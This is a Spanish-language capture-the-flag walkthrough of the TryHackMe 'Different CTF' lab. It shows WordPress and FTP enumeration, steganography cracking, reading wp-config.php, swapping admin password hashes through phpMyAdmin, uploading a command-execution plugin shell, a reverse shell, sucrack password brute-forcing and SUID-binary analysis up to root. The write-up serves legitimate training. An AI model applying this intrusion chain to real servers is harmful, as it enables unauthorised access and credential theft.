Different CTF es una maquina de TryHackMe, encontramos dos versiones de WordPres y vemos un reto de Esteganografia donde encontramos credenciales para el servicio FTP el cual nos dio acceso a PhpMyAdmin. En este ultimo modificamos las credenciales de los usuarios de ambas bases de datos de WordPress, además modificamos variables que nos permitio subir una shell inversa. Realizamos movimiento lateral creando un wordlist personalizado y realizamos ataque a contraseñas con sucrack. Para escalar privilegios encontramos una pista que nos permitió obtener las credenciales para root.
Room
Titulo |
Different CTF |
Descripción |
interesting room, you can shoot the sun |
Puntos |
150 |
Dificultad |
Dificil |
Maker |
hakanbey01 |
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ftp (21) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# Nmap 7.91 scan initiated Mon Apr 19 20:35:16 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.200.139
Warning: 10.10.200.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.200.139 (10.10.200.139)
Host is up (0.31s latency).
Not shown: 37023 closed ports, 28510 filtered ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
# Nmap done at Mon Apr 19 20:38:02 2021 -- 1 IP address (1 host up) scanned in 166.18 seconds
# Nmap 7.91 scan initiated Mon Apr 19 21:12:24 2021 as: nmap -sC -sV -oN serviceports 10.10.200.139
Nmap scan report for adana.thm (10.10.200.139)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello World – Just another WordPress site
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 21:13:10 2021 -- 1 IP address (1 host up) scanned in 45.87 seconds
|
HTTP
Vemos un dominio de redireccion en la pagina principal, el cual agregamos a nuestro archivo /etc/hosts
.
1
2
3
4
5
|
HTTP/1.1 200 OK
Date: Tue, 20 Apr 2021 00:55:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Link: <http://adana.thm/index.php/wp-json/>; rel="https://api.w.org/"
Content-Type: text/html; charset=UTF-8
|
Al visitar el puerto 80 vemos que esta corriendo wordpress.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos. Vemos directorios que no son comunes: announcements
y phpmyadmin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
╭─kali@kali ~/thm/differentctf
╰─➤ gohttp http://adana.thm/
/announcements (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
/index.php (Status: 301) [Size: 0] [--> http://adana.thm/]
/index.php (Status: 301) [Size: 0] [--> http://adana.thm/]
/javascript (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
/license.txt (Status: 200) [Size: 19915]
/phpmyadmin (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
/readme.html (Status: 200) [Size: 7278]
/server-status (Status: 403) [Size: 274]
/wp-admin (Status: 301) [Size: 309] [--> http://adana.thm/wp-admin/]
/wp-blog-header.php (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 312] [--> http://adana.thm/wp-includes/]
/wp-content (Status: 301) [Size: 311] [--> http://adana.thm/wp-content/]
/wp-load.php (Status: 200) [Size: 0]
/wp-links-opml.php (Status: 200) [Size: 224]
/wp-mail.php (Status: 403) [Size: 2672]
/wp-settings.php (Status: 500) [Size: 0]
/wp-trackback.php (Status: 200) [Size: 135]
/wp-login.php (Status: 200) [Size: 6544]
/wp-config.php (Status: 200) [Size: 0]
/wp-cron.php (Status: 200) [Size: 0]
/wp-signup.php (Status: 302) [Size: 0] [--> http://adana.thm/wp-login.php?action=register]
/xmlrpc.php (Status: 405) [Size: 42]
/xmlrpc.php (Status: 405) [Size: 42]
|
WPSCAN
Tambien enumeramos plugins, temas y usuarios utilizando wpscan. Encontramos un usuario y la version desactualizada de wordpress.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
| Found By: Rss Generator (Passive Detection)
| - http://adana.thm/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
| - http://adana.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
[+] hakanbey01
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://adana.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
|
Observamos en /announcements/
dos archivos, un “wordlist” y una imagen.
En /phpmyadmin
vemos el panel de logeo de este administrador.
STEGANOGRAPHY
Utilizamos stegcracker
con la imagen y wordlist encontrados, obtenemos credenciales para el servicio ftp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
╭─kali@kali ~/thm/differentctf
╰─➤ stegcracker austrailian-bulldog-ant.jpg wordlist.txt
[... REDACTED ...]
Counting lines in wordlist..
Attacking file 'austrailian-bulldog-ant.jpg' with wordlist 'wordlist.txt'..
Successfully cracked file with password: 123adanaantinwar
Tried 49380 passwords
Your file has been written to: austrailian-bulldog-ant.jpg.out
123adanaantinwar
╭─kali@kali ~/thm/differentctf
╰─➤ cat austrailian-bulldog-ant.jpg.out
RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=
╭─kali@kali ~/thm/differentctf
╰─➤ cat austrailian-bulldog-ant.jpg.out|base64 -d
FTP-LOGIN
USER: hakanftp
PASS: NOTAPASSWORD
|
FTP - HAKANFTP
Ingresamos por el servicio FTP donde encontramos los archivos de wordpress, obtuvimos los archivos .bash_history
y wp-config.php
. Intentamos escribir un archivo para ejecucion de comandos pero tal parece que la carpeta no esta realacionada al wordpress del puerto 80.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 8 1001 1001 4096 Jan 15 12:26 .
drwxrwxrwx 8 1001 1001 4096 Jan 15 12:26 ..
-rw------- 1 1001 1001 88 Jan 13 11:06 .bash_history
drwx------ 2 1001 1001 4096 Jan 11 10:29 .cache
drwx------ 3 1001 1001 4096 Jan 11 10:29 .gnupg
-rw-r--r-- 1 1001 1001 554 Jan 10 22:26 .htaccess
drwxr-xr-x 2 0 0 4096 Jan 14 16:49 announcements
-rw-r--r-- 1 1001 1001 405 Feb 06 2020 index.php
-rw-r--r-- 1 1001 1001 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 1001 1001 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 1001 1001 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 1001 1001 4096 Dec 08 22:13 wp-admin
-rw-r--r-- 1 1001 1001 351 Feb 06 2020 wp-blog-header.php
-rw-r--r-- 1 1001 1001 2328 Oct 08 2020 wp-comments-post.php
-rw-r--r-- 1 0 0 3194 Jan 11 09:55 wp-config.php
drwxr-xr-x 4 1001 1001 4096 Dec 08 22:13 wp-content
-rw-r--r-- 1 1001 1001 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 1001 1001 12288 Dec 08 22:13 wp-includes
-rw-r--r-- 1 1001 1001 2496 Feb 06 2020 wp-links-opml.php
-rw-r--r-- 1 1001 1001 3300 Feb 06 2020 wp-load.php
-rw-r--r-- 1 1001 1001 49831 Nov 09 10:53 wp-login.php
-rw-r--r-- 1 1001 1001 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 1001 1001 20975 Nov 12 14:43 wp-settings.php
-rw-r--r-- 1 1001 1001 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 1001 1001 4747 Oct 08 2020 wp-trackback.php
-rw-r--r-- 1 1001 1001 3236 Jun 08 2020 xmlrpc.php
226 Directory send OK.
|
Dentro del archivo .bash_history
no encontramos mucho, pero por el historial hakanbey
podria ser un usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
╭─kali@kali ~/thm/differentctf
╰─➤ cat .bash_history
id
su root
ls
cd ..
ls
cd /home
ls
cd hakanbey/
ls
ls -la
cd ..
ls
exit
ls
cd /
ls
exit
|
En wp-config.ph
encontramos las credenciales para la base de datos phpmyadmin1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
╭─kali@kali ~/thm/differentctf
╰─➤ cat wp-config.php|grep -v "*"
<?php
define( 'DB_NAME', 'phpmyadmin1' );
define( 'DB_USER', 'phpmyadmin' );
define( 'DB_PASSWORD', 'NOTAPASSWORD' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
define( 'SECURE_AUTH_KEY', '@[5K4Q%_gsP%x=QJ]#-lX`BXVNSu7o}5=ht}L~/t%Txt Gx+<BX=,MeiiCHcXvc^' );
define( 'LOGGED_IN_KEY', ',;0^d77wq7mtnGM1o%WaN.MpMJ9Zj69sI^)2cIVdR3h>YP/S:~SrIn+0AY$Adz.K' );
define( 'SECURE_AUTH_SALT', '>,V>-2!VKaBkkeRd|K&!([%}!;TfeA`@ikjcC/[]:: $.K&L.-`gk_3%t5/fu_Zd' );
define( 'LOGGED_IN_SALT', 'BOk(mP#GI:/ApR/z#w]p<-{smWKoG]qW=gAFR:W=tp_EVb:TN!@cVidma6l@2R$s' );
$table_prefix = 'wp_';
define( 'WP_DEBUG', false );
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
require_once ABSPATH . 'wp-settings.php';
|
PHPMYADMIN
Ingresamos a phpmyadmin con las credenciales encontradas y vemos dentro de las bases de datos phpmyadmin, phpmyadmin1
dos hashes que pertenecen al usuario hackandbey01
. Aunque solamente encontramos la contraseña de la base de datos de phpmyadmin1
la cual es la misma al usuario phpmyadmin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
╭─kali@kali ~/thm/differentctf[4/4]
╰─➤ john --wordlist=wordlist.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
NOTAPASSWORD (?)
Warning: Only 80 candidates left, minimum 96 needed for performance.
1g 0:00:00:01 DONE (2021-04-19 21:30) 0.7575g/s 37878p/s 38169c/s 38169C/s bobocel..alexis15
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
#$P$BEyLE6bPLjgWQ3IHrLu3or19t0faUh.:123455
|
Intentamos realizar la escritura de una shell utilizando SQL pero al parecer mysql esta limitado a la carga y escritura de archivos, solamente esta permitida la escritura en una carpeta previamente configurada /var/lib/mysql-files/.
Además encontramos un dominio dentro de las opciones del usuario hakankey01
-> asd.thm
en ambas bases de datos, tambien dentro de la tabla wp_option
vemos un subdominio especificamente en phpmyadmin1
.
Con la informacion anterior podriamos decir que existen dos bases de datos distintas para dos direcciones de Wordpress. Agregamos el subdominio al archivo /etc/hosts
, al visitar el subdominio vemos el mismo tema y contenido.
WP_USER
Editamos la contraseña del usuario hackandbey01
en las base de datos con un hash nuevo que generamos en secure-site.
1
|
$P$5ZDzPE45Ci.QxPaPz.03z6TYbakcSQ0 --> password
|
Luego de unos segundos logramos obtener acceso con la nueva contraseña en el panel de ambos wordpress, aunque no logramos subir ningun tipo de archivo o plugin para obtener una shell ya que no tenemos suficientes permisos en el directorio actual.
FTP > WORDPRESS
Anteriormente intentamos subir archivos a FTP pero encontramos que adana.thm
no estaba relacionado al directorio de FTP, al subir un archivo a FTP intentamos realizar una solicitud al archivo subido en el subdominio y observamos que este subdominio si está relacionado al directorio de FTP más no tenemos acceso a estos archivos.
1
2
3
4
5
6
7
8
9
|
╭─kali@kali ~/thm/differentctf
╰─➤ cat i.txt
hello
╭─kali@kali ~/thm/differentctf
╰─➤ curl -sI http://subdomain.adana.thm/wp-content/plugins/akismet/i.txt
HTTP/1.1 403 Forbidden
Date: Wed, 21 Apr 2021 04:54:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
|
Verificamos en el servicio FTP y vemos que los permisos del archivo subido (i.txt
) es diferente (600) al que los demás archivos (644).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 4 1001 1001 4096 Apr 21 04:54 .
drwxr-xr-x 5 1001 1001 4096 Apr 21 04:38 ..
-rw-r--r-- 1 1001 1001 629 May 09 2016 .htaccess
-rw-r--r-- 1 1001 1001 18092 Aug 24 2015 LICENSE.txt
drwxr-xr-x 3 1001 1001 4096 Dec 08 22:13 _inc
-rw-r--r-- 1 1001 1001 2543 Oct 22 19:16 akismet.php
-rw-r--r-- 1 1001 1001 20307 Oct 13 2020 changelog.txt
-rw-r--r-- 1 1001 1001 49941 Oct 19 2020 class.akismet-admin.php
-rw-r--r-- 1 1001 1001 4663 Jun 28 2018 class.akismet-cli.php
-rw-r--r-- 1 1001 1001 11135 Oct 30 2018 class.akismet-rest-api.php
-rw-r--r-- 1 1001 1001 2856 Jul 13 2017 class.akismet-widget.php
-rw-r--r-- 1 1001 1001 58662 Oct 19 2020 class.akismet.php
-rw------- 1 1001 1001 6 Apr 21 04:54 i.txt
-rw-r--r-- 1 1001 1001 26 Mar 10 2014 index.php
-rw-r--r-- 1 1001 1001 2386 Dec 04 15:04 readme.txt
drwxr-xr-x 2 1001 1001 4096 Dec 08 22:13 views
-rw-r--r-- 1 1001 1001 6438 Apr 02 2019 wrapper.php
226 Directory send OK.
ftp>
|
UPLOAD_PATH > WWW-DATA
Como se menciono anteriormente Wordpress mostraba error de permisos de escritura, realizamos una busqueda de los errores que wordpress nos mostraba, la mayoria de las “soluciones” explica que se debe de cambiar los permisos a la carpeta wp-content
pero se necesita acceso a la maquina. En el area de soporte de Wordpress encontramos un comentario que indica la opcion upload_path
en wp_options
y enlaza un video de como cambiar y solucionar este error en la base de datos.
Verificamos la direccion en la base de datos de phpmyadmin
y observamos que está vacia, por lo que agregamos una direccion en este caso /dev/shm
.
Intentamos subir un archivos los cuales se subieron correctamente aunque no se podian visualizar.
Realizamos lo mismo en el subdominio, extrañamente pasaba lo mismo.
PLUGIN > SHELL
Intentamos subir un plugin para ejecucion de comandos, además utilizamos las credenciales FTP y direccion 127.0.0.1
.
El plugin se subió correctamente más no apareció en la direccion que debería al intentar ejecutar comandos.
1
2
3
4
5
6
|
╭─kali@kali ~/thm/differentctf/tmp
╰─➤ curl -sI "http://adana.thm/wp-content/plugins/shell/shell.php?cmd=id"
HTTP/1.1 404 Not Found
Date: Wed, 21 Apr 2021 07:45:43 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
|
Intentamos subir el mismo plugin en wordpress del subdominio pero aparecia como ya instalado.
Realizamos la ejecucion de comandos con el plugin pero utilizando la direccion del subdominio en el cual si logramos la ejecucion.
1
2
3
4
5
6
7
8
9
10
|
╭─kali@kali ~/thm/differentctf/tmp
╰─➤ curl -I "http://subdomain.adana.thm/wp-content/plugins/shell/shell.php?cmd=id"
HTTP/1.1 200 OK
Date: Wed, 21 Apr 2021 07:51:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
╭─kali@kali ~/thm/differentctf/tmp
╰─➤ curl -s "http://subdomain.adana.thm/wp-content/plugins/shell/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
Ejecutamos una shell inversa con python, logramos obtener acceso con el usuario www-data
y leer nuestra flag web.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
╭─kali@kali ~/thm/differentctf
╰─➤ listen 1338
listening on [any] 1338 ...
connect to [10.2.29.162] from adana.thm [10.10.36.103] 59122
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash");'
cd ../../
ls
index.php plugins themes upgrade
cd ../
ls
announcements wp-admin wp-cron.php wp-mail.php
index.php wp-blog-header.php wp-includes wp-settings.php
license.txt wp-comments-post.php wp-links-opml.php wp-signup.php
readme.html wp-config.php wp-load.php wp-trackback.php
wp-activate.php wp-content wp-login.php xmlrpc.php
cd ../
ls
html subdomain
cd html
ls
announcements wp-blog-header.php wp-links-opml.php wp-trackback.php
index.php wp-comments-post.php wp-load.php wwe3bbfla4g.txt
license.txt wp-config.php wp-login.php xmlrpc.php
readme.html wp-content wp-mail.php
wp-activate.php wp-cron.php wp-settings.php
wp-admin wp-includes wp-signup.php
cat wwe3bbfla4g.txt
cat wwe3bbfla4g.txt
THM{THIS_FLAG_IS_FAKE_WEBTXT}
www-data@ubuntu:/var/www/html$
|
Realizamos una enumeracion utilizando grep
y ls
ya que el comando find
solo lo pueden ejecutar hakanbey
y root
, aunque no encontramos ningun archivo que fuera de ayuda por el momento.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
www-data@ubuntu:/dev/shm$ ls -lahR / 2>/dev/null| awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,"");s=$0;f=1;next}NF&&f{ print s"/"$0 }' |grep hakanbey
/home/drwxr-x--- 15 hakanbey hakanbey 4.0K Mar 15 12:45 hakanbey
/usr/bin/-r-srwx--- 1 root hakanbey 13K Jan 14 18:01 binary
/usr/bin/-rwxr-x--- 1 root hakanbey 233K Nov 5 2017 find
/var/lib/AccountsService/users/-rw-r--r-- 1 root root 248 Jan 10 20:30 hakanbey
/var/lib/lightdm-data/drwxrwx--- 2 hakanbey lightdm 4.0K Jan 10 18:32 hakanbey
/var/www/html/-rwxrwxrwx 1 hakanbey hakanbey 38 Jan 14 16:50 wwe3bbfla4g.txt
www-data@ubuntu:/dev/shm$
www-data@ubuntu:/dev/shm$ ls -lahR / 2>/dev/null| awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,"");s=$0;f=1;next}NF&&f{ print s"/"$0 }' |grep "www-data"|grep -v "/var/www/" |grep -v "/proc" | grep -v "/run"
/etc/phpmyadmin/-rw-r----- 1 root www-data 520 Jan 10 23:06 config-db.php
/etc/phpmyadmin/-rw-r----- 1 root www-data 8 Jan 10 21:43 htpasswd.setup
/var/cache/drwxr-xr-x 2 www-data www-data 4.0K Feb 26 2018 tcpdf
/var/cache/apache2/drwxr-xr-x 2 www-data www-data 4.0K Aug 12 2020 mod_cache_disk
/var/cache/apache2/mod_cache_disk/drwxr-xr-x 2 www-data www-data 4.0K Aug 12 2020 .
/var/cache/tcpdf/drwxr-xr-x 2 www-data www-data 4.0K Feb 26 2018 .
/var/lib/phpmyadmin/-rw-r----- 1 root www-data 68 Jan 10 21:43 blowfish_secret.inc.php
/var/lib/phpmyadmin/-rw-r----- 1 root www-data 0 Jan 10 21:43 config.inc.php
/var/lib/phpmyadmin/drwxr-xr-x 2 www-data www-data 4.0K Nov 18 00:16 tmp
/var/lib/phpmyadmin/tmp/drwxr-xr-x 2 www-data www-data 4.0K Nov 18 00:16 .
/var/lib/ucf/cache/-rw-r----- 1 root www-data 520 Jan 10 23:06 :etc:phpmyadmin:config-db.php
www-data@ubuntu:/dev/shm
|
HAKANBEY - USER
Siguiendo las diferentes pistas como el tag de la room, utilizamos sucrack
para intentar obtener la contraseña del usuario hakanbey
con la wordlist del directorio “oculto”, aunque luego de varias horas no logramos encontrar la contraseña en el wordlist.
Observamos las pistas dadas en el Discord - TryHackMe, creamos un diccionario a partir de el prefijo de las dos contraseñas previamente encontradas en wordlist.txt
logramos encontrar la contraseña del usuaro hakanbey.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# 123adanaantinwar
# 123adanacrack
# 123adana <<<--- prefix
www-data@ubuntu:/dev/shm/tmp$ cat wordlist.txt | while read line; do echo 123adana${line}; done > 123adana.txt
www-data@ubuntu:/dev/shm/tmp$ ../sucrack -u hakanbey -b 10 -w 10 123adana.txt
447/803863
4015/803863
9895/803863
12796/803863
16252/803863
18071/803863
21805/803863
24561/803863
26824/803863
31110/803863
34770/803863
password is: NOTAPASSWORD
www-data@ubuntu:/dev/shm/tmp$
|
Realizamos la lectura de la flag user.txt
.
1
2
3
4
5
6
7
8
|
hakanbey@ubuntu:~$ pwd;id
/home/hakanbey
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
hakanbey@ubuntu:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt website
hakanbey@ubuntu:~$ cat user.txt
THM{HELLO_AGAIN_FAKE_FLAG}
|
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion y encontramos un fichero (binary
) con permisos SUID. Utilizamos env para obtener una shell root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
hakanbey@ubuntu:~$ find / -perm -4000 2>/dev/null|xargs ls -lah
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 43K Sep 16 2020 /bin/mount
-rwsr-xr-x 1 root root 63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 27K Sep 16 2020 /bin/umount
-rwsr-xr-x 1 root root 22K Jun 28 2019 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at
-r-srwx--- 1 root hakanbey 13K Jan 14 18:01 /usr/bin/binary
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 146K Jan 31 2020 /usr/bin/sudo
-rwsr-xr-x 1 root root 19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root messagebus 42K Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 427K Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14K Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 621K Mar 15 13:02 /usr/local/bin/sudo
-rwsrwxrwx 1 root root 1.1M May 14 2020 /usr/sbin/exim4
-rwsr-xr-- 1 root dip 370K Jul 23 2020 /usr/sbin/pppd
hakanbey@ubuntu:~$
|
STRACE
Al ejecutar el fichero pide la string correcta, al ingresar nuestra contraseña nos mata la shell con hakanbey
.
1
2
3
4
5
|
hakanbey@ubuntu:/$ /usr/bin/binary
I think you should enter the correct string here ==>123adanasubaru
pkill: killing pid 1791 failed: Operation not permitted
pkill: killing pid 1958 failed: Operation not permitted
www-data@ubuntu:/$
|
Utilizamos ltrace para ver un poco el codigo que esta siendo ejecutado, observamos que warzoneinadana
es un string que esta siendo concatenado, además es comparada con la string que ingresamos, en el caso de no ser iguales mata nuestra shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
hakanbey@ubuntu:/$ ltrace /usr/bin/binary
strcat("war", "zone") = "warzone"
strcat("warzone", "in") = "warzonein"
strcat("warzonein", "ada") = "warzoneinada"
strcat("warzoneinada", "na") = "warzoneinadana"
printf("I think you should enter the cor"...) = 52
123adanasubaru
123adanasubaru
) = 1
strcmp("123adanasubaru", "warzoneinadana") = -70
strcat("pki", "l") = "pkil"
strcat("pkil", "l") = "pkill"
strcat("pkill", " -9") = "pkill -9"
strcat("pkill -9", " -t") = "pkill -9 -t"
strcat("pkill -9 -t", " pts") = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0") = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 1791 failed: Operation not permitted
pkill: killing pid 1829 failed: Operation not permitted
www-data@ubuntu:/$
|
Al ingresar la frase correcta nos muestra una pista y que se realizo una copia de un archivo JPG a nuestra carpeta principal.
1
2
3
4
5
6
7
8
|
hakanbey@ubuntu:~$ /usr/bin/binary
warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
hakanbey@ubuntu:~$ ls -lah /home/hakanbey/root.jpg
-rw-rw-r-- 1 root hakanbey 45K Apr 24 00:46 /home/hakanbey/root.jpg
hakanbey@ubuntu:~$
|
Realizamos la ejecucion de multiples herramientas de esteganografia a la imagen pero no encontramos algun string o pista dentro de esta.
1
2
3
4
5
6
7
8
9
10
11
12
|
╭─kali@kali ~/Pictures
╰─➤ xxd root.jpg|head
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
00000010: 0060 0000 ffe1 0078 4578 6966 0000 4d4d .`.....xExif..MM
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275 ...=y._..m..i..u
00000030: 0000 0056 0301 0005 0000 0001 0000 0068 ...V...........h
00000040: 0303 0001 0000 0001 0000 0000 5110 0001 ............Q...
00000050: 0000 0001 0100 0000 5111 0004 0000 0001 ........Q.......
00000060: 0000 0ec4 5112 0004 0000 0001 0000 0ec4 ....Q...........
00000070: 0000 0000 4164 6f62 6520 496d 6167 6552 ....Adobe ImageR
00000080: 6561 6479 0000 0001 86a0 0000 b18f ffdb eady............
00000090: 0043 0002 0101 0201 0102 0202 0202 0202 .C..............
|
Despues de dar varias vueltas con herramientas de esteganografia, vemos que la pista se refiere a un indice 00000020
del archivo, obtuvimos el valor hexadecimal.
1
2
3
|
╭─kali@kali ~/Pictures
╰─➤ xxd -s 0x20 -l 16 -c 16 root.jpg
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275 ...=y._..m..i..u
|
Y utilizando cyberchef logramos obtener la contraseña del usuario root.
Cambiamos al usuario root y logramos obtener nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
root@ubuntu:~# ls -lah
total 92K
drwx------ 7 root root 4.0K Mar 15 13:04 .
drwxr-xr-x 24 root root 4.0K Jan 10 17:12 ..
lrwxrwxrwx 1 root root 9 Jan 14 18:12 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Apr 9 2018 .bashrc
drwx------ 2 root root 4.0K Jan 10 18:25 .cache
drwx------ 3 root root 4.0K Jan 10 20:43 .gnupg
-rw-r--r-- 1 root root 76 Jan 14 11:33 hint.txt
drwxr-xr-x 3 root root 4.0K Jan 10 20:13 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 45K Jan 14 09:57 root.jpg
-rw-r--r-- 1 root root 38 Jan 14 16:21 root.txt
drwxr-xr-x 2 root root 4.0K Jan 11 10:49 .rpmdb
drwx------ 2 root root 4.0K Jan 10 17:20 .ssh
root@ubuntu:~# cat hint.txt
Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
root@ubuntu:~# cat root.txt
THM{YOU_GOT_IT_THIS_IS_YOUR_FLAG}
root@ubuntu:~#
|